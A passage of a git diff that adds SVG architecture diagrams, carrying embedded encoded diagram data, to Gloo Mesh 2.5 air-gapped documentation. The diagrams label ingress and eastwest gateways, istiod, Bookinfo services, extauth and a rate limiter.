wMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutcclxiukueI1l/PT71Z4Vh9WNcdTAwMTjWXHUwMDEykcNmaVCdKpJ+bLZcdTAwMWXbtePqI2VbsHDOXHUwMDBi2TOcYelxt5TBN49DfZH8yG1h3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vN/DmoCqwclcdLmenD6o01x1MDAwNi691lx1MDAxZq5cdTAwMGI5vNGezc3iP2G/SMjpjti4Mnm+eWW343g/e90+ezvLdvesdOa+6Jy+sTvDXHUwMDE4MUJcdTAwMTax8OAreP+jXG6+XGJcbjqNoTPwXHUwMDE1RuPUZtf6/lvssih+q1x1MDAxOfY5nZ9qRlxioFx1MDAwM+NB2JuaWYs8P6mg21x1MDAxOeaa01x1MDAxZq6fub/Gi+1mazK3kTO6hSk1O/U+zO7on05cdTAwMWRcdTAwMWU4Lk7cyzyownNmsZrzXHUwMDFmPGk1652Z0IeZV/tz9D9slout3ze0m5WKXHUwMDFikJVhNkVcdTAwMTizn1xug6O6/Wa92Sm27lx1MDAxNib7a6pcdTAwMWLAQW21jYRmmlLFwqPBXuNdx1x1MDAxZY+r73VcdTAwMTa/Lt1M5WlcdTAwMTHTyKNBXHUwMDEywJuM0+iiQa7AelJcbkfTMorTS9F6unuhXHRcdTAwMTWvXHUwMDE13plcdTAwMWN34+1vOLgtOLij5d3RsPihU1x1MDAxNuWHQumlmj9DJ4nsKVx1MDAxYV/9cauw9WGXoUz/XHUwMDA37lx1MDAxMVxyXG5ijVx1MDAwZcXMhNtcdTAwMWJBXHUwMDFiWt9cdTAwMDSvZ3TRYJBjmvGwjukvQoNYc8FcdTAwMDGj/1FosFpcdTAwMWNcZsfVwXBPcHBcdJBahIO/Z7s5XHUwMDFllCrAXFxDXGIzLUj4pIlcbn2qYYJQZnxyeXky7vfuaaK3XHUwMDBlIPzKlFx0yVx1MDAxZOKX/WM+T1x1MDAxMdFcdTAwMGXmVFx1MDAxMUqJoEJZuTNErM228aBcdTAwMDRbm0hEoulcdTAwMWU86bevr9Wzks3a3TDRLVx1MDAxNcrPZ1x1MDAxNk/5N1x1MDAxZVxcfdxcdTAwMWQt72Fccpsvn1x1MDAxNodvJcTvh6lSLIknk2Ls7HtxN1x1MDAxZHZcdTAwMTnM9H/gXHUwMDFlYaai1lxicIywwVWrpEdcdTAwMDSvZ0Rhplx1MDAxMlxuXHUwMDA16TEmXHUwMDAwhP7WY3phXjtGmcSbXHUwMDAywYXGSLD96a59+Fx1MDAxY1x1MDAwN8Nmt+KLLF0hpFtFlktcdTAwMTCZx9H4Y4ZcdTAwMWLgSVdcdTAwMDCYJ1x0lyFcdTAwMTNuQMPHwpbu1OQ0XW6/tU/T6UH5lTZjz7awvIjgSU2wdpRCmlx1MDAxM1xury5v6lx1MDAwZj6kxCGCacpcdTAwMTiVTOqNgrftUXlrXHUwMDAySlx1MDAwMTaqYFx1MDAxNO2NKYPUXFxzcpNghVfRvz2eZqaZ+5R+zr9+XHUwMDAzym1cdTAwMDHKXHUwMDFkLe+Ohn3QWa2ount5fb7s19U4NnpcdTAwMWK/bGFcdTAwMTUyTXTclo2n+5f7q9y7aFx1MDAxZItqo7WFce9QWdaLqH+BXHUwMDFmhvfFRFxmJfBbZ1x1MDAwYuOKk5GeZG5ytXbhg46KMf3WOOFbXHUwMDE4NzHKnuduYlx1MDAwZpfPJ2JSJVx1MDAxZvKleXnxx1HZ1oddhqz9XHUwMDFmuE9kTYLC7Fx1MDAwMUxcdTAwMTKCwlx1MDAxZudcdTAwMDevZ0SRtSaEXHUwMDA1anTpyN9cdTAwMWFdXHUwMDA1XHUwMDE01fhcIlx1MDAwNy7sXHUwMDBiQ0pztbtcdTAwMDTKXGJi60Sr2z3KVFx1MDAwN42jfzrF+tz6fYFcdTAwMDN3XHRQXYTZn5P9MdW1WFNcdTAwMTBroiRcdTAwMTZcblx1MDAwYs31XG6Rnefdt1x1MDAwZlTpdVx1MDAwYqg21o/Zt8SL4qmosyZcdTAwMDazVlx1MDAwMZ7GXHUwMDFhMWle8Vx1MDAxY29cdTAwMTKOqUPB4FAmJY1cdTAwMTNXXHUwMDBlxFwib2IlWDE40DmQN1x09ym44crK+Fx1MDAxNWqjXHUwMDE5xVHNLdtTXHUwMDBlmC/fq7B8X+p2X5udWvdo3O2/wvaUq76M7zpXW43xh92ejevnJr/I4j7zXG7k8lx1MDAxZivqw+ZcdTAwMThxO5/Pin9gXHUwMDEx3qJcdTAwMGXe40ha1MDkXHUwMDFjXHUwMDE5JmeUIS2Eklx1MDAwYkxOiCOlhJtcdTAwMTjlXGK5jqvWYHK7SVxyXHUwMDAyxFx1MDAwMTHCkFRcdTAwMTIkK/ay+49cdTAwMTQjJrlgXGJcdTAwMTMzXHUwMDE1j4XNODCCwHJ/eW+bsehgWOxcdTAwMGZPm51Ks1OH9z6FyK96ialcdTAwMTBFNGZMXVx1MDAxZc1cdTAwMTJcdTAwMWZcdTAwMWRcblunXHUwMDE54phI2FrEqeuuerFnlpU4XHUwMDAyXHUwMDExiUyZQJPlRcjPO36D7L+rnUqISVx1MDAwNSZWuyaFXHUwMDFkoCRCKMdGZVxi8lx0gd1zYlRcdTAwMDD0I7NkXHUwMDE1xahnTq3iYHjWbbebQ1jkm26zM/RdzFx1MDAxM8P3jWrRI1DgO7nfW1x1MDAxNFx1MDAxMD0z4jzVfP7f0SdcdTAwMGLNfvn9///vP753XHUwMDFmW6nbXFxeuv5cdTAwMWPvL/fPlWOFkb2qXHUwMDExgF2FJOHhK7c8Xr5cXE66md6bvuzVcG+SL58nbFx1MDAxNfuiI9pkUDiiXHUwMDEweIt589YqmcxcdTAwMDe7SK/wXHUwMDEyMFx1MDAxM4ap3p17cLfCayN8cVxc68ONwJSDfzqdYrtqh1x1MDAxYWJdXHUwMDFiY1Oo4T/F9TiTXHUwMDA1hIVcYlx1MDAxMMNMr1x1MDAwMDra9dhbspmq3taLnfSgoEbT0sko8pypiIOtnKko22I+sZUzqU9cdTAwMDaxlzNNNTRcbjiI7i4yeJN0+j3lTG6J781+RZvt/Wa4nq2hXV9ike2B5E2y6FxuZauDXHUwMDEzx6PK9lI6UnGuXHUwMDExXHUwMDAyMLpYU0OaXFxSrTXhQkiFXFxcdTAwMTVmtsn2YFwiOKZcbo2JxGTMXHUwMDFkovdbXGKAQcTQrJA48L7ESjOPr1x1MDAwMcOHhYnm3F8hta1cdTAwMWFcdTAwMWKL6Hg54lx1MDAwZi5kMWeGXHUwMDAw2lx1MDAxN1x1MDAxNCuEjH1cdTAwMDGr6oX8mDicSCpcdTAwMThcdTAwMDZ4LMEs0Fx1MDAwN1x1MDAwZfltRDZ714e+Vlx1MDAwNP12h1x1MDAwNkV2h1x1MDAwNlx1MDAwMimj2SpB4cHaJbJSRjhgy8JcdTAwMTfVIFRdNVx1MDAxMH+AXHUwMDBiIVx1MDAxZNhcdTAwMTKkQFx1MDAwZVx1MDAxMaRcdTAwMDM8XHUwMDFh25QyxCdIXHUwMDAwOfB0Uz6GgKxcdTAwMTNcdTAwMTJxTyCPJnBcdTAwMDdcdTAwMDUy+XdcYlx1MDAxOZsoXHSGsHOiXHUwMDA0aYS1kFx1MDAxY1x1MDAxM2qqXHUwMDBiSO2664coMaY2XHUwMDAyvIYlXHUwMDAxOVwikdd5XHUwMDEwSrxcdTAwMDVXJpmfXHUwMDEzXHUwMDAxncWQqTpLXHUwMDExpYJIz6QwduTvWYH6XHUwMDEz/N8l31xinfu8h7BXXHUwMDE0b/ZQRDuE4rBcdTAwMDOA1Fn4gPrjpFTNSem0nZ92x7mkPM3rVs1cItxcInQqQ6VyXHUwMDA0/n3NSzeChYM4qFx1MDAxNVC1XHUwMDE0a7qRvzb4UEaGOpThgiD4VjqaeZV7qlW+mfX0MzFlXHUwMDEwtVNcdTAwMTmfea1cdGJcdTAwMDJMJVx1MDAxMClaSiRxeD5cdTAwMGbe5IiCXHUwMDE4KjgwMthCSius2UKzXHUwMDEx0CRcdTAwMGVDTFx1MDAwMaRcdTAwMTNcdTAwMTKjjY5eXHUwMDAzXFyX1IH3lFx0JVx1MDAwNrwkmE+DXHUwMDFmQVx1MDAxZEaI5lhR4HOferVSclx1MDAwNd9jh/VcdTAwMGZcIlx1MDAwMWGCdclcdTAwMWNcXKBGbcJ6XCJA/1hr4YNcdTAwMTaow2FFXHUwMDAxLVx1MDAxMI2F+DRcdTAwMGZWxDDBXHUwMDFkP+Ymhc1Ri1x1MDAxMJwzSZVcdTAwMTTMe1JkXCJvKfzHXHUwMDE0I2DKXHUwMDExwjyTOihcYmOnbnMt0vWKXHUwMDAwJrhMXHUwMDA0s6NcdTAwMTh4XHUwMDFhU5rI8I6g85R4LN7cNnDh4la3+1x1MDAxN7l+o1x1MDAxYl9Hun1hnVxiJYJcbuhcdC5cdTAwMWPKtlUnYjEwbLMwbi0xplpENIp7Os5cdTAwMWaLdpK38bEqjlx1MDAxYpP4XHUwMDA3x3F/OFx1MDAxM4Uo7kSrdJ1MPaPEVL3lNT7ld5WXty2My1x1MDAxM8OHeqn8XrjN64/hw9W4OkmdbGHcXHUwMDFkLe9cdTAwMWY+7LKwXf9cdTAwMDduXHUwMDA3iFx1MDAwN1xucev5XHUwMDFktqfhKFx09jDDPDw6XHJez4haoVx1MDAxYWR3kFx1MDAwNId31bYk+LKw3aVS3Jsgx1x1MDAwNOJE8j+rKFev362MysNese5vL+4qS25cdEBZtFwi3dPcXHUwMDAwY0mrXHUwMDFinDCwnFx1MDAxOJXhg19epmiSlFx1MDAwZm+5TOH2bsxcdTAwMWbSb6mxLbI+Klx1MDAxMEtcdTAwMDZcdTAwMTZmlVxubY9Bt1xmsTDYPZxcdMqjibHQVWfQ/EhcdTAwMTWP31RdTHLX+XSxYylvuYpa3dGwh1x1MDAwNt36lXSxWalcdTAwMGZ45f063ynWnlLk7GlcdTAwMGLjXHUwMDFl1q5cdTAwMWTKsMugm/9cdTAwMDP3XHTdZEDBbqxcYlx1MDAxNpSF11x1MDAwYsHrXHUwMDE5VegmXHUwMDAzXHUwMDBiqEqttmd8r1HMwNOxzoTGYi722M9xXHUwMDBmWK1SXHUwMDA1XHUwMDA01Vx1MDAxYfjjNDV3+9Zw2lx1MDAxMpSziNN+TXF9jCbsjVWwUEiYSKDwzDhcdTAwMThk4uU4SpZwXHUwMDFiN1x1MDAxMsWz6WUyL1wiXHUwMDBl0pRcYlx1MDAwMmlKi+iCNMWMXHRcdTAwMTXV+li1xqBcdTAwMTCblJ7vLmTuLF25qr5U6GRzXHUwMDA1eljD7lxuS+1ous1J50KQQVwiec9f31x1MDAwNoP+1b1cdTAwMTiL6E73UIZdhtH8XHUwMDFmuEeMJlx1MDAxOFr86ydG08LUuFmhw1DwekZcdTAwMTWjKVx1MDAxMYTRNGZ7xWhcdTAwMWV/XHUwMDFhp1RJyffYY2tcdTAwMGZcdTAwMTitX1x1MDAxYzY7dVx1MDAwYkbbkS9tXHTIWcRov6a4XHRGs59VXG7OTSDGXG4x63l994ifK+l7rWM8dz8ontRt9lJEIFx1MDAxYdxBUaAjXHJHXHUwMDE2o2mtXHUwMDA1pXiHiSubQLQqenyIj1x1MDAxZSr3w7t6r9C7Kz2jXG7ZXFx/XHUwMDFl1rC7Oqnc0XR3XHUwMDA10Vx1MDAwZWvTtj7sMojm/8B9QjRqTzJgUmIqmFxmf1x1MDAwMlx1MDAxYbyeXHUwMDExhWhGMVx1MDAwNDWSl1pHy4+GmULanH39UY60fvW9WVx1MDAxZH+tI21cdMzxgLSfU1xm5MSAhFx1MDAxZnvTIYJcdTAwMTFcdTAwMTFcYkgzfMJP8LnOSrxIvoxcdTAwMTe1RsQx3TY1XHUwMDEyiOPFtEKiXHUwMDFjSThcdTAwMTPIxNWpxWltj1x1MDAxMVx1MDAxNXU4XHUwMDE1XFxyJlx1MDAxNVxc2idcXJZcdTAwMTFHIzBgXHUwMDExXHUwMDE2JufTy6WmKlx1MDAwMWV0h1xyXCJcIlx1MDAxMS5cdTAwMWJcdTAwMWNcdTAwMTNw9Fx1MDAxOZlqcuU4RlxmIbD7hSBcbn06jY9cXPGyXHUwMDE0tI6mmJvyy0J5s2tCxctcdTAwMDZ7wOdnRTHGhHFTXHUwMDAxXHUwMDFiK7CCvDmN2lSMZlhcYkUok2C0eyZ1UPGyVuo2l4euP4f7y/1zdfHG7Cd2XFwxLDVaoURiMNyOrHRT0mGYIaqFoMgj3bRjSrAxYVxuyEhqr5C4qXiT2shYKkGpIIXcXHUwMDE1XHUwMDEwP9N/pCNcdTAwMDFjSMLULP1uUbpRYt5ROyxMfljSXHLEiJKmXHUwMDFjklagtpTU1CdcdTAwMTmAOWDFS2A6oakw+Vx1MDAxZetcdLdgVDI/KdM+ylTdNFm02FfiMlx1MDAwN0lTkVx1MDAxM5ZOY8zpYZdospK2uVx1MDAxNol6RdG2JEzN2luBaDBcdTAwMWQ4VeHtqDd8M85wVnm47t/ma/S824rFbFx1MDAwNd0jY0cpWPSAUjCC4pBmVJhsbUxKwEY+olxyIUe7L69ow8Sb28S5XHUwMDA2tmU7LDi3iYMtuELIXHUwMDFjja7krMG41auNbscod5lcdTAwMWFcdTAwMGba0/xHa2ip2/xlXHKTg33Y3H6gpIniXG5cdFx1MDAxYZ7LaPUhfZ1VlWK33p1cZl5GZY1L6lx1MDAwMLhcZlx1MDAwN3BcdTAwMTlcYvuQXuxccrnMy1cgcG2u7d+OXHUwMDBiwPUmiXx/JZeD2GFPXHUwMDA1mDbQOSqgn4/WXFwzuUJcdTAwMTJ9TSdcdTAwMTF5XHUwMDE59FONUe5VkNZFXCIvXCLeplhpXHUwMDFkVH1McLXFNsVbXHUwMDBlu1x1MDAxMZjCvVwiomE3z6hQp29nZ6+9Jsk/pXNCjY4tbTmiXHUwMDEwxPxxkzvps0Y92385vWHJRLJDayFrMlx1MDAwN447adTOmv1q5Vx1MDAxMZ8odtsjx6hK9Vx1MDAxNsbd0fLuaNina9FKJJ5cbnJ02Vx1MDAxZFxcP92rwlu9/8etwtaHXXZY5P/AL1A61pjrXHUwMDAw+EUpXHUwMDA2jUNV+DDP4PWMKvzSWlx1MDAwNmlcdTAwMWMpQta73E+6XHUwMDFj1lx1MDAwMJLN9P6o+J595cstQVS7yZdcdTAwMTOuXHUwMDEzXHUwMDA3b9k4pZBcIjg8k550XHUwMDFlXHUwMDBip4P4jVT3w7S4u1x1MDAxMlx1MDAxZtWCLeguKqBcdTAwMTAoKchCUnR7LLptUIiBM6UpPlx1MDAxNklQ2GD4+SZ/WitNL0R1ev+QJ6/Hlu5cXKso1lx1MDAxZFxye2hY862PT/O1glwiXV6rXvbvaqJcdTAwMTnfRpfew9q1P3zYZZjQ/4F7xITCXkKBMsFcdTAwMTnHK9T3XG5ezqhCQkVpUFx0dIS254TYSvhcdTAwMTBcIqBklDu64lx1MDAwZsCA+8jDW1x1MDAwMp52kIcn7fVMKNFAn5SvUI8q3iXVt15tUiVcdTAwMTe1fLVWYMlixIslKK2CsFx1MDAxZlhv0cV+ICmYqcZcdTAwMTLNIO/hyXBcdTAwMThcdTAwMWaT21Tr9OxcdTAwMDK9aaFcdTAwMWWKXHUwMDE2XHUwMDFm0CpcbvSwht1cdTAwMTVEO6xV+MOHXVx1MDAwNtH8XHUwMDFmuE+IJu1dajBBWmOGw8eVXHUwMDA2r2dUMZrWQVx1MDAxOE1jsVeM5vHTmeBcdTAwMTVEyS474EVcdTAwMTCj7SNcdTAwMGZvXHTI2UFcdTAwMWWesHMjoZiAvbRcdTAwMDJGq1x1MDAxNK6mw1Q6k4ili6OnXHUwMDA3+TagXVtcdTAwMWNkRDCaNq7rIP9cXNiWUXvAaFLB/LiIaFx1MDAwMEMj+f7U68dGXHUwMDAzdnmlxeV7PHH5YfFMreTkOKhhd3Vke1irsDNn4kGtwtaHXeqe833gXrGf/TRIUyy4JOGVTfByRlx1MDAxNPqButGB7jn8dSe2YaCfpFRoLMV3ct+Okd9cdTAwMTLotOXkPm7v5kWQXHUwMDE0XGJcdTAwMTFGwjvKg8+gopr+glxidyg1VZWxSfJaXHUwMDA0flx1MDAxNDlafk12XHUwMDFmJYpyzlx1MDAxMWbUXbssfHZcdTAwMWZcdTAwMDZuIIjRPfZcdTAwMTL9klx1MDAwNJjgXHUwMDEwhqP59D4mTVZcdTAwMWZAZCmwQrvL7lx1MDAwYvarXHUwMDFm2bP7YNe8s/r3Zff5U7e5dpfdx7U1NoxTgUzuUXigXHUwMDExjOGjKt4wRlx1MDAwZVx1MDAxN4qZtjCK0oVGP5JcdTAwMTKH0C9K76OmXHUwMDAxXGZAXHUwMDFiXHRcdTAwMTQgffqiLkvvw/BcdTAwMTZcdTAwMTF6h3EohyXdTK9cdTAwMWZQS4RiRpSirt072nZ2XzAsObJm95FPjXn0703u8ydsc22Y3GeXbEJbTSgwKkzWXHUwMDE4WaFccmugXVx1MDAxZVnJprAjjVDDSlx1MDAwMPF/ft1cdTAwMWYmXHUwMDE0N4WGYWc0x5TsUrBcdTAwMTly1qa7NmOEcOlnT1x1MDAwMVx1MDAxNXBcZpxqWl9cdOJt9yyBbJiQ+l9eliG0XHUwMDE0XHUwMDAxiMRcdTAwMTDjglx1MDAwYqKJ4KCmkU/HMFx1MDAwZeCOXHUwMDFitcXATFx1MDAwMfTm7Vx1MDAxOFx1MDAxNrJcdTAwMTVrkLN9YVbAyVxmc1x1MDAwMkSDwTBX3klRXHUwMDA3rCZhMmtcdTAwMDHjXHSCXHUwMDBlvFx1MDAxM6uVus3loetcdTAwMTXFW+CRhCT2uH5cdTAwMDQ4kmFA66FF3OCD4otasXyH5aieXHUwMDE04/fy9enYXCLiXCJyJKE00Vx1MDAwZUgwXHUwMDBlXHUwMDFiYF4/RetMwFx1MDAwMZ7eYlx1MDAxZZm10fRaR1x1MDAxMlx1MDAxMiwuUEBcdTAwMTFNI1NcdTAwMWb1/ohcdTAwMWOXUPclrd6uk+9vvZeb6Ib2nlx1MDAxN7JnOMPS424pg29cdTAwMWWH+lwi+WFJ8Vlp3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vDtcdTAwMWH24S17Xsw3njKpXFy9K9RcdTAwMDeaXHUwMDE0XqZ/3CokUlx1MDAxZq8nonp5UaFDPm5mXHUwMDFmmqKxjfOprU932VmH/1x1MDAwM0POdsTGlcnzzSu7XHUwMDFkx/vZ6/bZ21m2u4VVkOJVpd9cdTAwMWVy97qY11x1MDAwZk8yXHUwMDE2f2knw43rkYW7Pptx+1x1MDAwMFx1MDAxNkOnQaJjJGR4rVx1MDAxYrz9XHUwMDExPZtRmrIgvcvCZtMtXHUwMDFl8+/obFx1MDAwNsCx1myfLdD3cDZcdTAwMDM/iiNYJdfibn42XHUwMDEz0Jl8XHUwMDE5gFxcPJj5Nb9ccvAvt1x1MDAxNl5kXGbsXHUwMDFlvVx1MDAwMvptvYtEv3g6jSXv8qnq3Xms3eBrtSj/SvRLkcOZXHUwMDE0WCPzunAuw+RcdTAwMTZcdTAwMTNcdTAwMTi2jH6VoGAw7bOlUJAywrjQbNKrmEjIkrzMXHUwMDE30499XHUwMDFl4VwiXG6Hhn53tLzfw1x1MDAxZdyw28fUy8Cv/1x1MDAxN9kjmFTYfv5cdTAwMDZcbowxkOOhlVjwNkVcdTAwMTdM8iA1plS0wCRcdTAwMTaEY6LUn5WH14fHXHUwMDFjtZrt5lx1MDAxYz78gnCfJcDMJ9D7c55cdTAwMWJAy4CuK1xuuJJrvkKbysFD5S3BT96PYzf9RoZJenJ5dVx1MDAxYnVwSVSAice2mVx1MDAxZLtlcGlcdTAwMGVcdTAwMTVcdTAwMTQy/1wiiS5lM3Z1cf/2+iDes1x1MDAxN+ru4rRSXHUwMDE4nX6jy22hy10t7/ewf/ywy8Cl/1x1MDAwM/dcYi6ltuYsMcqYJkKEj11ccl7O6IJLXHUwMDFhpMZwxMClklSbfsv7S1TaS1x1MDAxNHml+cVd/IJcdTAwMDGZN4bcTHB9NKloQMFXiVx1MDAxMNFcdTAwMTSFR5P4PNNJ3GRO4iep+k1HjoaPqLxWfYev7NWEpXaI0Iph87pcdTAwMTCKRGFcdTAwMDVcdTAwMWOJNDWNLbAm9lCkXHUwMDFmMDBcdTAwMThNlqqsVCltXHUwMDBmTXKGQTrssfRekJJr0Vx1MDAwYno/IDRP1VXzJKXqx8PO3Tea3Fx1MDAxNprc0fJ+XHUwMDBmXHUwMDBi93ZZ42R0XUGD61RcdTAwMWbX3l/Obs7vn7/3bNNhl6FU/1x1MDAwN+5cdTAwMTGlqoA6XHUwMDE3SCppKqKHVo7By1x1MDAxOVGUXG7qUbEg9cikQ8Kox69ygWJMXHRXWu8uzyCCMLU5XHUwMDE4NruVL8WpS6DeXCJO/TnDXHKAKrdcdTAwMTdcItOSYqowXHJ/XHUwMDFjMS7F72Jo1HmQl5krVOjU9F3jJdpAVVx1MDAwYlx1MDAxM55sO4ygplx1MDAxNTXmVFx1MDAxMUqJoEJZXHUwMDE5MVxmTt2y11MwbCamolnjonJ6UkEyzVx1MDAxMv3jtHz/aJD+6bslwOtcdTAwMWKnrj7ujpb3sIbt5jvD53R8gp8nxYfX3kfsbvyBt7C4KltcdTAwMWRn3ouFj8awVfqYolx1MDAxMlx1MDAxYtzGtjBu/fE8ke093/Za5/1xs5n/qFQr/JtcdTAwMTg2XHUwMDF